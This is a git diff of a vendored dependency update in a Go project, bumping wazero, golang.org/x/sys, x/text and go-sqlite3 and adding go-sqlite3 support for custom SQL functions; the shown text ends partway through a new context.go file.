.../tetratelabs/wazero/internal/sys/lazy.go | 153 +- .../tetratelabs/wazero/internal/sys/stdio.go | 73 +- .../tetratelabs/wazero/internal/sys/sys.go | 16 +- .../wazero/internal/sysfs/adapter.go | 109 +- .../wazero/internal/sysfs/chown.go | 30 - .../wazero/internal/sysfs/chown_unix.go | 13 - .../internal/sysfs/chown_unsupported.go | 11 - .../wazero/internal/sysfs/datasync_linux.go | 6 +- .../internal/sysfs/datasync_unsupported.go | 5 +- .../tetratelabs/wazero/internal/sysfs/dir.go | 18 +- .../wazero/internal/sysfs/dirfs.go | 97 +- .../tetratelabs/wazero/internal/sysfs/file.go | 362 +- .../wazero/internal/sysfs/file_test.go | 339 +- .../wazero/internal/sysfs/file_unix.go | 26 +- .../wazero/internal/sysfs/file_unsupported.go | 26 +- .../wazero/internal/sysfs/file_windows.go | 88 + .../wazero/internal/sysfs/futimens.go | 131 +- .../wazero/internal/sysfs/futimens_darwin.go | 34 +- .../wazero/internal/sysfs/futimens_linux.go | 36 +- .../internal/sysfs/futimens_unsupported.go | 17 +- .../wazero/internal/sysfs/futimens_windows.go | 51 +- .../tetratelabs/wazero/internal/sysfs/ino.go | 22 + .../wazero/internal/sysfs/ino_plan9.go | 15 + .../wazero/internal/sysfs/ino_windows.go | 28 + .../wazero/internal/sysfs/nonblock_plan9.go | 11 + .../wazero/internal/sysfs/nonblock_unix.go | 16 +- .../wazero/internal/sysfs/nonblock_windows.go | 24 +- .../wazero/internal/sysfs/oflag.go | 38 + .../wazero/internal/sysfs/open_file.go | 26 - .../wazero/internal/sysfs/open_file_darwin.go | 26 + .../internal/sysfs/open_file_freebsd.go | 24 + .../wazero/internal/sysfs/open_file_js.go | 19 - .../wazero/internal/sysfs/open_file_linux.go | 28 + .../internal/sysfs/open_file_notwindows.go | 20 + .../wazero/internal/sysfs/open_file_sun.go | 30 +- .../internal/sysfs/open_file_unsupported.go | 18 + .../internal/sysfs/open_file_windows.go | 89 +- .../wazero/internal/sysfs/osfile.go | 216 +- .../tetratelabs/wazero/internal/sysfs/poll.go | 18 + .../wazero/internal/sysfs/poll_darwin.go | 55 + .../wazero/internal/sysfs/poll_darwin.s | 8 + .../wazero/internal/sysfs/poll_linux.go | 57 + .../wazero/internal/sysfs/poll_unsupported.go | 13 + .../wazero/internal/sysfs/poll_windows.go | 224 + .../wazero/internal/sysfs/readfs.go | 265 +- .../wazero/internal/sysfs/rename.go | 8 +- .../wazero/internal/sysfs/rename_plan9.go | 14 + .../wazero/internal/sysfs/rename_windows.go | 68 +- .../wazero/internal/sysfs/rootfs.go | 559 -- .../wazero/internal/sysfs/select.go | 36 - .../wazero/internal/sysfs/select_darwin.go | 45 - .../wazero/internal/sysfs/select_darwin.s | 8 - .../wazero/internal/sysfs/select_linux.go | 18 - .../internal/sysfs/select_unsupported.go | 14 - .../wazero/internal/sysfs/select_windows.go | 127 - .../tetratelabs/wazero/internal/sysfs/sock.go | 12 +- .../wazero/internal/sysfs/sock_unix.go | 99 +- .../wazero/internal/sysfs/sock_unsupported.go | 6 +- .../wazero/internal/sysfs/sock_windows.go | 223 +- .../tetratelabs/wazero/internal/sysfs/stat.go | 28 +- .../wazero/internal/sysfs/stat_bsd.go | 57 +- .../wazero/internal/sysfs/stat_linux.go | 57 +- .../wazero/internal/sysfs/stat_unsupported.go | 42 +- .../wazero/internal/sysfs/stat_windows.go | 96 +- .../tetratelabs/wazero/internal/sysfs/sync.go | 7 +- .../wazero/internal/sysfs/sync_windows.go | 9 +- .../wazero/internal/sysfs/unlink.go | 10 +- .../wazero/internal/sysfs/unlink_plan9.go | 12 + .../wazero/internal/sysfs/unlink_windows.go | 14 +- .../wazero/internal/wasip1/errno.go | 43 +- .../wazero/internal/wasip1/rights.go | 2 +- .../wazero/internal/wasm/module_instance.go | 13 +- .../tetratelabs/wazero/internal/wasm/store.go | 4 + .../tetratelabs/wazero/netlify.toml | 2 +- .../github.com/tetratelabs/wazero/runtime.go | 14 +- .../github.com/tetratelabs/wazero/sys/stat.go | 107 + .../tetratelabs/wazero/sys/stat_bsd.go | 29 + .../tetratelabs/wazero/sys/stat_linux.go | 32 + .../wazero/sys/stat_unsupported.go | 17 + .../tetratelabs/wazero/sys/stat_windows.go | 26 + vendor/golang.org/x/sys/unix/mkerrors.sh | 4 +- vendor/golang.org/x/sys/unix/mmap_nomremap.go | 14 + vendor/golang.org/x/sys/unix/mremap.go | 53 + vendor/golang.org/x/sys/unix/syscall_aix.go | 15 - vendor/golang.org/x/sys/unix/syscall_bsd.go | 14 - .../golang.org/x/sys/unix/syscall_darwin.go | 50 +- vendor/golang.org/x/sys/unix/syscall_linux.go | 58 +- .../x/sys/unix/syscall_linux_amd64.go | 2 +- .../x/sys/unix/syscall_linux_arm64.go | 2 +- .../x/sys/unix/syscall_linux_loong64.go | 2 +- .../x/sys/unix/syscall_linux_mips64x.go | 2 +- .../x/sys/unix/syscall_linux_riscv64.go | 13 +- .../golang.org/x/sys/unix/syscall_netbsd.go | 13 +- .../golang.org/x/sys/unix/syscall_solaris.go | 14 - vendor/golang.org/x/sys/unix/syscall_unix.go | 8 + .../x/sys/unix/syscall_zos_s390x.go | 14 - vendor/golang.org/x/sys/unix/zerrors_linux.go | 26 +- .../x/sys/unix/zerrors_linux_386.go | 9 + .../x/sys/unix/zerrors_linux_amd64.go | 9 + .../x/sys/unix/zerrors_linux_arm.go | 9 + .../x/sys/unix/zerrors_linux_arm64.go | 11 + .../x/sys/unix/zerrors_linux_loong64.go | 9 + .../x/sys/unix/zerrors_linux_mips.go | 9 + .../x/sys/unix/zerrors_linux_mips64.go | 9 + .../x/sys/unix/zerrors_linux_mips64le.go | 9 + .../x/sys/unix/zerrors_linux_mipsle.go | 9 + .../x/sys/unix/zerrors_linux_ppc.go | 9 + .../x/sys/unix/zerrors_linux_ppc64.go | 9 + .../x/sys/unix/zerrors_linux_ppc64le.go | 9 + .../x/sys/unix/zerrors_linux_riscv64.go | 9 + .../x/sys/unix/zerrors_linux_s390x.go | 9 + .../x/sys/unix/zerrors_linux_sparc64.go | 9 + .../golang.org/x/sys/unix/zsyscall_linux.go | 13 +- .../x/sys/unix/zsyscall_linux_riscv64.go | 16 + .../x/sys/unix/zsyscall_netbsd_386.go | 11 + .../x/sys/unix/zsyscall_netbsd_amd64.go | 11 + .../x/sys/unix/zsyscall_netbsd_arm.go | 11 + .../x/sys/unix/zsyscall_netbsd_arm64.go | 11 + .../x/sys/unix/zsysnum_linux_riscv64.go | 2 + .../x/sys/unix/zsysnum_linux_s390x.go | 1 + vendor/golang.org/x/sys/unix/ztypes_linux.go | 40 +- .../golang.org/x/sys/unix/ztypes_linux_386.go | 2 + .../x/sys/unix/ztypes_linux_amd64.go | 2 + .../golang.org/x/sys/unix/ztypes_linux_arm.go | 2 + .../x/sys/unix/ztypes_linux_arm64.go | 2 + .../x/sys/unix/ztypes_linux_loong64.go | 2 + .../x/sys/unix/ztypes_linux_mips.go | 2 + .../x/sys/unix/ztypes_linux_mips64.go | 2 + .../x/sys/unix/ztypes_linux_mips64le.go | 2 + .../x/sys/unix/ztypes_linux_mipsle.go | 2 + .../golang.org/x/sys/unix/ztypes_linux_ppc.go | 2 + .../x/sys/unix/ztypes_linux_ppc64.go | 2 + .../x/sys/unix/ztypes_linux_ppc64le.go | 2 + .../x/sys/unix/ztypes_linux_riscv64.go | 25 + .../x/sys/unix/ztypes_linux_s390x.go | 2 + .../x/sys/unix/ztypes_linux_sparc64.go | 2 + vendor/golang.org/x/sys/windows/service.go | 4 + .../x/sys/windows/svc/mgr/recovery.go | 27 + .../x/sys/windows/syscall_windows.go | 4 +- .../golang.org/x/text/cases/tables13.0.0.go | 4 +- .../golang.org/x/text/cases/tables15.0.0.go | 2528 ++++++ .../text/internal/language/compact/tables.go | 356 +- .../x/text/internal/language/tables.go | 4686 +++++----- vendor/golang.org/x/text/language/match.go | 2 +- vendor/golang.org/x/text/language/tables.go | 138 +- .../x/text/secure/precis/tables13.0.0.go | 4 +- .../x/text/secure/precis/tables15.0.0.go | 4316 +++++++++ .../x/text/unicode/bidi/tables13.0.0.go | 4 +- .../x/text/unicode/bidi/tables15.0.0.go | 2043 +++++ .../x/text/unicode/norm/tables13.0.0.go | 4 +- .../x/text/unicode/norm/tables15.0.0.go | 7908 +++++++++++++++++ .../golang.org/x/text/width/tables13.0.0.go | 4 +- .../golang.org/x/text/width/tables15.0.0.go | 1368 +++ vendor/modules.txt | 22 +- 281 files changed, 29875 insertions(+), 7701 deletions(-) create mode 100644 vendor/github.com/ncruces/go-sqlite3/context.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/func.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/go.work.sum create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/README.md create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh create mode 100644 vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch create mode 100644 vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go rename vendor/github.com/ncruces/go-sqlite3/{module.go => sqlite.go} (57%) create mode 100644 vendor/github.com/ncruces/go-sqlite3/value.go create mode 100644 vendor/github.com/ncruces/go-sqlite3/vfs/clear.go create mode 100644 vendor/github.com/reeflective/team/LICENSE delete mode 100644 vendor/github.com/reeflective/team/internal/version/.gitignore delete mode 100644 vendor/github.com/reeflective/team/internal/version/teamserver_version_info create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/close.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/errno.go rename vendor/github.com/tetratelabs/wazero/{internal/platform => experimental/sys}/error.go (54%) create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/file.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/time.go create mode 100644 vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go create mode 100644 vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go create mode 100644 vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.wasm create mode 100644 vendor/github.com/tetratelabs/wazero/internal/close/close.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/constants.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_js.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_sun.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_windows.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/stat.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/errno.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/errno_windows.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/chown.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unix.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unsupported.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_js.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/rootfs.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go create mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go create mode 100644 vendor/github.com/tetratelabs/wazero/sys/stat.go create mode 100644 vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go create mode 100644 vendor/github.com/tetratelabs/wazero/sys/stat_linux.go create mode 100644 vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go create mode 100644 vendor/github.com/tetratelabs/wazero/sys/stat_windows.go create mode 100644 vendor/golang.org/x/sys/unix/mmap_nomremap.go create mode 100644 vendor/golang.org/x/sys/unix/mremap.go create mode 100644 vendor/golang.org/x/text/cases/tables15.0.0.go create mode 100644 vendor/golang.org/x/text/secure/precis/tables15.0.0.go create mode 100644 vendor/golang.org/x/text/unicode/bidi/tables15.0.0.go create mode 100644 vendor/golang.org/x/text/unicode/norm/tables15.0.0.go create mode 100644 vendor/golang.org/x/text/width/tables15.0.0.go diff --git a/go.mod b/go.mod index e59cb2a1e4..ff937aa9a5 100644 --- a/go.mod +++ b/go.mod @@ -141,6 +141,7 @@ require ( github.com/mdlayher/socket v0.4.1 // indirect github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect github.com/mitchellh/go-ps v1.0.0 // indirect + github.com/ncruces/go-sqlite3/gormlite v0.8.4 // indirect github.com/ncruces/julianday v0.1.5 // indirect github.com/pierrec/lz4/v4 v4.1.17 // indirect github.com/pkg/errors v0.9.1 // indirect diff --git a/go.sum b/go.sum index d2748b1c9a..4a45586f2f 100644 --- a/go.sum +++ b/go.sum @@ -318,9 +318,10 @@ github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/ github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o= -github.com/ncruces/go-sqlite3 v0.8.1 h1:e1Y7uHu96xC4fWKsCVWprbTi8vAaQX9R+8kgkxOHWaY= -github.com/ncruces/go-sqlite3 v0.8.1/go.mod h1:EhHe1qvG6Zc/8ffYMzre8n//rTRs1YNN5dUD1f1mEGc= +github.com/ncruces/go-sqlite3 v0.8.4 h1:nizhgJMMJJBrthESCwF30+oOvQkdtizgJ/v35Y0v+vg= github.com/ncruces/go-sqlite3 v0.8.4/go.mod h1:XvDtjKk5MgwHX7L4I7BPzzKl36bTZ7+Hr6Kr2QeVkVw= +github.com/ncruces/go-sqlite3/gormlite v0.8.4 h1:omeGR0XofGGwlbWB5QSEdPQC0j58fDEULrVMLXTIt+M= +github.com/ncruces/go-sqlite3/gormlite v0.8.4/go.mod h1:52uZNxrd8iQVjmxE6l3Dt71zoHpwnoDDFIqB1wW1+Cg= github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk= github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= @@ -392,8 +393,7 @@ github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd h1:+fBevMGm github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw= github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0= github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8= -github.com/tetratelabs/wazero v1.2.1 h1:J4X2hrGzJvt+wqltuvcSjHQ7ujQxA9gb6PeMs4qlUWs= -github.com/tetratelabs/wazero v1.2.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ= +github.com/tetratelabs/wazero v1.4.0 h1:9/MirYvmkJ/zSUOygKY/ia3t+e+RqIZXKbylIby1WYk= github.com/tetratelabs/wazero v1.4.0/go.mod h1:0U0G41+ochRKoPKCJlh0jMg1CHkyfK8kDqiirMmKY8A= github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0= github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs= @@ -517,8 +517,7 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s= -golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -530,8 +529,7 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58= -golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc= golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= diff --git a/vendor/github.com/ncruces/go-sqlite3/README.md b/vendor/github.com/ncruces/go-sqlite3/README.md index 819fb9d6f1..838679176b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/README.md @@ -50,19 +50,22 @@ OFD locks are fully compatible with process-associated POSIX advisory locks. On BSD Unixes, this module uses [BSD locks](https://man.freebsd.org/cgi/man.cgi?query=flock&sektion=2). -BSD locks may _not_ be compatible with process-associated POSIX advisory locks. +BSD locks may _not_ be compatible with process-associated POSIX advisory locks +(they are on FreeBSD). #### Testing -The pure Go VFS is tested by running an unmodified build of SQLite's +The pure Go VFS is tested by running SQLite's [mptest](https://github.com/sqlite/sqlite/blob/master/mptest/mptest.c) -on Linux, macOS and Windows. +on Linux, macOS and Windows; +BSD code paths are tested on macOS using the `sqlite3_bsd` build tag. Performance is tested by running [speedtest1](https://github.com/sqlite/sqlite/blob/master/test/speedtest1.c). ### Roadmap - [ ] advanced SQLite features + - [x] custom functions - [x] nested transactions - [x] incremental BLOB I/O - [x] online backup @@ -72,7 +75,7 @@ Performance is tested by running - [x] in-memory VFS - [x] read-only VFS, wrapping an [`io.ReaderAt`](https://pkg.go.dev/io#ReaderAt) - [ ] cloud-based VFS, based on [Cloud Backed SQLite](https://sqlite.org/cloudsqlite/doc/trunk/www/index.wiki) -- [ ] custom SQL functions + - [ ] [MVCC](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) VFS, using [BadgerDB](https://github.com/dgraph-io/badger) ### Alternatives diff --git a/vendor/github.com/ncruces/go-sqlite3/backup.go b/vendor/github.com/ncruces/go-sqlite3/backup.go index 27a71a9707..17efa03ed0 100644 --- a/vendor/github.com/ncruces/go-sqlite3/backup.go +++ b/vendor/github.com/ncruces/go-sqlite3/backup.go @@ -77,7 +77,7 @@ func (c *Conn) backupInit(dst uint32, dstName string, src uint32, srcName string if r == 0 { defer c.closeDB(other) r = c.call(c.api.errcode, uint64(dst)) - return nil, c.module.error(r, dst) + return nil, c.sqlite.error(r, dst) } return &Backup{ diff --git a/vendor/github.com/ncruces/go-sqlite3/conn.go b/vendor/github.com/ncruces/go-sqlite3/conn.go index ec168aa0d9..9c15a85f0e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/conn.go +++ b/vendor/github.com/ncruces/go-sqlite3/conn.go @@ -19,7 +19,7 @@ import ( // // https://www.sqlite.org/c3ref/sqlite3.html type Conn struct { - *module + *sqlite interrupt context.Context waiter chan struct{} @@ -50,19 +50,19 @@ func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { } func newConn(filename string, flags OpenFlag) (conn *Conn, err error) { - mod, err := instantiateModule() + sqlite, err := instantiateSQLite() if err != nil { return nil, err } defer func() { if conn == nil { - mod.close() + sqlite.close() } else { runtime.SetFinalizer(conn, util.Finalizer[Conn](3)) } }() - c := &Conn{module: mod} + c := &Conn{sqlite: sqlite} c.arena = c.newArena(1024) c.handle, err = c.openDB(filename, flags) if err != nil { @@ -80,7 +80,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { r := c.call(c.api.open, uint64(namePtr), uint64(connPtr), uint64(flags), 0) handle := util.ReadUint32(c.mod, connPtr) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { c.closeDB(handle) return 0, err } @@ -99,7 +99,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { c.arena.reset() pragmaPtr := c.arena.string(pragmas.String()) r := c.call(c.api.exec, uint64(handle), uint64(pragmaPtr), 0, 0, 0) - if err := c.module.error(r, handle, pragmas.String()); err != nil { + if err := c.sqlite.error(r, handle, pragmas.String()); err != nil { if errors.Is(err, ERROR) { err = fmt.Errorf("sqlite3: invalid _pragma: %w", err) } @@ -113,7 +113,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { func (c *Conn) closeDB(handle uint32) { r := c.call(c.api.closeZombie, uint64(handle)) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { panic(err) } } @@ -143,7 +143,7 @@ func (c *Conn) Close() error { c.handle = 0 runtime.SetFinalizer(c, nil) - return c.module.close() + return c.close() } // Exec is a convenience function that allows an application to run @@ -319,7 +319,7 @@ func (c *Conn) Pragma(str string) ([]string, error) { } func (c *Conn) error(rc uint64, sql ...string) error { - return c.module.error(rc, c.handle, sql...) + return c.sqlite.error(rc, c.handle, sql...) } // DriverConn is implemented by the SQLite [database/sql] driver connection. diff --git a/vendor/github.com/ncruces/go-sqlite3/const.go b/vendor/github.com/ncruces/go-sqlite3/const.go index a1d6145c3e..9d0cd3008f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/const.go +++ b/vendor/github.com/ncruces/go-sqlite3/const.go @@ -167,6 +167,18 @@ const ( PREPARE_NO_VTAB PrepareFlag = 0x04 ) +// FunctionFlag is a flag that can be passed to [Conn.PrepareFlags]. +// +// https://www.sqlite.org/c3ref/c_deterministic.html +type FunctionFlag uint32 + +const ( + DETERMINISTIC FunctionFlag = 0x000000800 + DIRECTONLY FunctionFlag = 0x000080000 + SUBTYPE FunctionFlag = 0x000100000 + INNOCUOUS FunctionFlag = 0x000200000 +) + // Datatype is a fundamental datatype of SQLite. // // https://www.sqlite.org/c3ref/c_blob.html @@ -182,18 +194,18 @@ const ( // String implements the [fmt.Stringer] interface. func (t Datatype) String() string { - const name = "INTEGERFLOATTEXTBLOBNULL" + const name = "INTEGERFLOATEXTBLOBNULL" switch t { case INTEGER: return name[0:7] case FLOAT: return name[7:12] case TEXT: - return name[12:16] + return name[11:15] case BLOB: - return name[16:20] + return name[15:19] case NULL: - return name[20:24] + return name[19:23] } return strconv.FormatUint(uint64(t), 10) } diff --git a/vendor/github.com/ncruces/go-sqlite3/context.go b/vendor/github.com/ncruces/go-sqlite3/context.go new file mode 100644 index 0000000000..3e511b52d9 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/context.go @@ -0,0 +1,174 @@ +package sqlite3 + +import ( + "errors" + "math" + "time" + + "github.com/ncruces/go-sqlite3/internal/util" +) + +// Context is the context in which an SQL function executes. +// An SQLite [Context] is in no way related to a Go [context.Context]. +// +// https://www.sqlite.org/c3ref/context.html +type Context struct { + *sqlite + handle uint32 +} + +// SetAuxData saves metadata for argument n of the function. +// +// https://www.sqlite.org/c3ref/get_auxdata.html +func (c Context) SetAuxData(n int, data any) { + ptr := util.AddHandle(c.ctx, data) + c.call(c.api.setAuxData, uint64(c.handle), uint64(n), uint64(ptr)) +} + +// GetAuxData returns metadata for argument n of the function. +// +// https://www.sqlite.org/c3ref/get_auxdata.html +func (c Context) GetAuxData(n int) any { + ptr := uint32(c.call(c.api.getAuxData, uint64(c.handle), uint64(n))) + return util.GetHandle(c.ctx, ptr) +} + +// ResultBool sets the result of the function to a bool. +// SQLite does not have a separate boolean storage class. +// Instead, boolean values are stored as integers 0 (false) and 1 (true). +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultBool(value bool) { + var i int64 + if value { + i = 1 + } + c.ResultInt64(i) +} + +// ResultInt sets the result of the function to an int. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultInt(value int) { + c.ResultInt64(int64(value)) +} + +// ResultInt64 sets the result of the function to an int64. +// +// 